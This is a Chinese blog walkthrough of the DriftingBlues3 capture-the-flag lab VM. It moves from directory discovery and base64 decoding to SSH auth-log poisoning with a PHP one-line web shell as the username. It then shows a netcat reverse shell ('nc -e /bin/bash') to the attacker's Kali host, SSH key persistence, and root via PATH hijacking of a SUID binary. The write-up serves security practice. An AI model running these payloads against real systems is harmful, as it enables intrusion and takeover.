driftingblues3-靶机

环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式

kali扫描不到靶机IP解决办法请看Momentum2中有解决办法

一.明确目标 🎈🎈

探测目标主机IP情况

sudo arp-scan -l

在这里插入图片描述

目标主机IP:192.168.107.138

Kali的IP:192.168.107.129

二.信息搜集 🎈

Nmap 进行常规端口开放扫描

nmap 192.168.107.134 -p- -A

在这里插入图片描述

发现目标靶机开放了ssh 22端口,http 80端口。(以及Apache httpd 2.4.38 Debian的版本, OpenSSH 7.9p1 Debian)

在浏览器中访问一下目标靶机的80端口:

在这里插入图片描述

暂时没发现啥可以利用的

🍉 1.使用dirsearch命令对靶机网站目录进行扫描 🍉 🍉

dirsearch -u 192.168.107.138

在这里插入图片描述

Target: http://192.168.107.138/

[07:21:38] Starting: 
[07:21:39] 403 -  280B  - /.ht_wsr.txt                                     
[07:21:39] 403 -  280B  - /.htaccess.orig
[07:21:39] 403 -  280B  - /.htaccess.bak1
[07:21:39] 403 -  280B  - /.htaccess.sample
[07:21:39] 403 -  280B  - /.htaccess_orig
[07:21:39] 403 -  280B  - /.htaccess_extra
[07:21:39] 403 -  280B  - /.htaccess.save
[07:21:39] 403 -  280B  - /.htaccessBAK
[07:21:39] 403 -  280B  - /.htaccessOLD
[07:21:39] 403 -  280B  - /.htaccess_sc
[07:21:39] 403 -  280B  - /.htaccessOLD2                                   
[07:21:39] 403 -  280B  - /.html
[07:21:39] 403 -  280B  - /.htm
[07:21:39] 403 -  280B  - /.httr-oauth                                     
[07:21:39] 403 -  280B  - /.htpasswd_test                                  
[07:21:39] 403 -  280B  - /.htpasswds                                      
[07:21:40] 403 -  280B  - /.php                                            
[07:21:42] 200 -   11B  - /MANIFEST.MF                                      
[07:21:42] 200 -   11B  - /Makefile                                         
[07:21:55] 301 -  319B  - /drupal  ->  http://192.168.107.138/drupal/       
[07:21:59] 200 -    1KB - /index.html                                       
[07:22:07] 301 -  323B  - /phpmyadmin  ->  http://192.168.107.138/phpmyadmin/
[07:22:08] 200 -  268B  - /phpmyadmin/                                      
[07:22:09] 301 -  320B  - /privacy  ->  http://192.168.107.138/privacy/     
[07:22:10] 200 -   37B  - /robots.txt                                       
[07:22:11] 301 -  319B  - /secret  ->  http://192.168.107.138/secret/       
[07:22:11] 200 -   90B  - /secret/                                          
[07:22:11] 403 -  280B  - /server-status                                    
[07:22:11] 403 -  280B  - /server-status/
[07:22:17] 200 -  948B  - /wp-admin/                                        
[07:22:17] 301 -  321B  - /wp-admin  ->  http://192.168.107.138/wp-admin/
                                                                             
Task Completed                         

http://192.168.107.138/MANIFEST.MF

http://192.168.107.138/drupal/

http://192.168.107.138/phpmyadmin/

http://192.168.107.138/privacy/

http://192.168.107.138/robots.txt

http://192.168.107.138/secret/

http://192.168.107.138/wp-admin/ji

经过浏览器逐个访问,发现http://192.168.107.138/robots.txt下有东西

在这里插入图片描述

再去访问一下http://192.168.107.138/eventadmins/,里面有个目录 /littlequeenofspades.html

在这里插入图片描述

大该意思说SSH存在问题,切让我们检查 这个文件littlequeenofspades.html

浏览器访问http://192.168.107.138/littlequeenofspades.html

在这里插入图片描述

发现好像是一串个歌词 但是好像没啥用 F12查看源代码 ,发现是一串base64加密的 直接解码

在这里插入图片描述

aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==

在线解密一下:http://www.jsons.cn/base64/

经过两次base64解密得到了/adminsfixit.php

在这里插入图片描述

浏览器访问http://192.168.107.138/adminsfixit.php

在这里插入图片描述

发现居然是ssh的日志记录,看到出现ssh auth log --> ssh身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,那么我们就可以在用户名处注入可以被执行的脚本(一句话木马)然后尝试访问它就可以实现RCE命令执行。

🌈2.在kali中进行SSH登录,且把用户名改为一句话木马 🌈 🌈 🌈

ssh '<?php system($_GET["cmd"]);?>'@192.168.107.139

😁 😁 😁嘿嘿!!!这里靶机被玩坏了,重置了靶机,其IP变为192.168.107.139

在这里插入图片描述

curl -i -L http://192.168.107.139/adminsfixit.php?cmd=ls

在这里插入图片描述

写入成功,且RCE执行成功!!!

🥝3.使用nc回弹shell:🌈🌈🌈

kali开启监听:

在这里插入图片描述

使用nc进行反弹,反弹成功!!!

http://192.168.107.139/adminsfixit.php?cmd=nc -e /bin/bash 192.168.107.129 8888

在这里插入图片描述

获得交互shell

SHELL=/bin/bash script /dev/null

在这里插入图片描述

在home目录下发现一个新用户发现user.txt,但是查看不了

在这里插入图片描述

发现存在.ssh文件夹,但里面是空的,没有任何东西。

此时我们可以尝试SSH公钥私钥免密登陆

查看ssh配置文件/etc/ssh/sshd_config,如下图PubkeyAuthentication选项参数值为yes,打开这个功能,表示ssh允许公钥登录。

在这里插入图片描述

并且此时我们看到.ssh文件夹有着wrx所有的权限,好家伙,所以我们可以把公钥文件放入这个文件夹,进行登录!

在这里插入图片描述

直接在目标机生成一个公钥:ssh-keygen -t rsa
将生成的私钥保存到:/home/robertj/.ssh/id_rsa 
将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证
cat id_rsa.pub > authorized_keys
然后将私钥复制到本机
chmod 400 id_rsa

在这里插入图片描述

在这里插入图片描述

然后把这ssh 私钥复制到桌面 因为我这里输入了密码:123456 所以等下也要输入!!!

💎4.ssh私钥登入: 🎉 🎉 🎉

在这里插入图片描述

三.提权 🧸🧸

🔭1.find查找具有suid权限的命令 ⚽ ⚽ ⚽

find / -perm -u=s -type f 2>/dev/null
find / -perm 4000 -type f 2>/dev/null  (两个相同的结果)

在这里插入图片描述

发现一个getinfo命令

执行一下命令,发现这个命令集合了(系统命令)

在这里插入图片描述

这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

🍓 2.环境变量命令劫持提权 🍀 🍀 🍀

因此,在这种情况下,我们可以在环境变量 PATH 中提供一个目录 (/tmp),并创建一
个 ip 或者 cat 文件,用于劫持命令,执行我们自定义的二进制文件就可以提权:
cd /tmp	
export PATH=/tmp/:$PATH     把/tmp路径加入到系统路径中。				
echo '/bin/bash' > cat		把/bin/bash写入到ip中。
chmod +x cat					增加执行权限
getinfo

在这里插入图片描述

在这里插入图片描述

提权成功!!!

四.总结 🔎🔎

  1. 信息收集,端口日常开放22、80端口,隐藏目录dirsearch测试一波。
  2. 多层隐藏目录一层扣一层,最后还查看源代码发现了base64密码串。
  3. 通过base64密码串解密得到了一个SSH日志信息记录,使用异常的ssh登陆(将用户名改为一句话木马,实现RCE),并通过nc反弹shell。
  4. 反弹shell成功后,在home下发现新用户一定要进去看一看,发现了.ssh文件
  5. SSH公钥私钥免密登陆(又是新知识)。
  6. 最后常规SUID搜索发现一个getinfo命令集合了系统命令。
  7. 使用环境变量进行命令劫持提权(还是新知识)。
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gaynell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值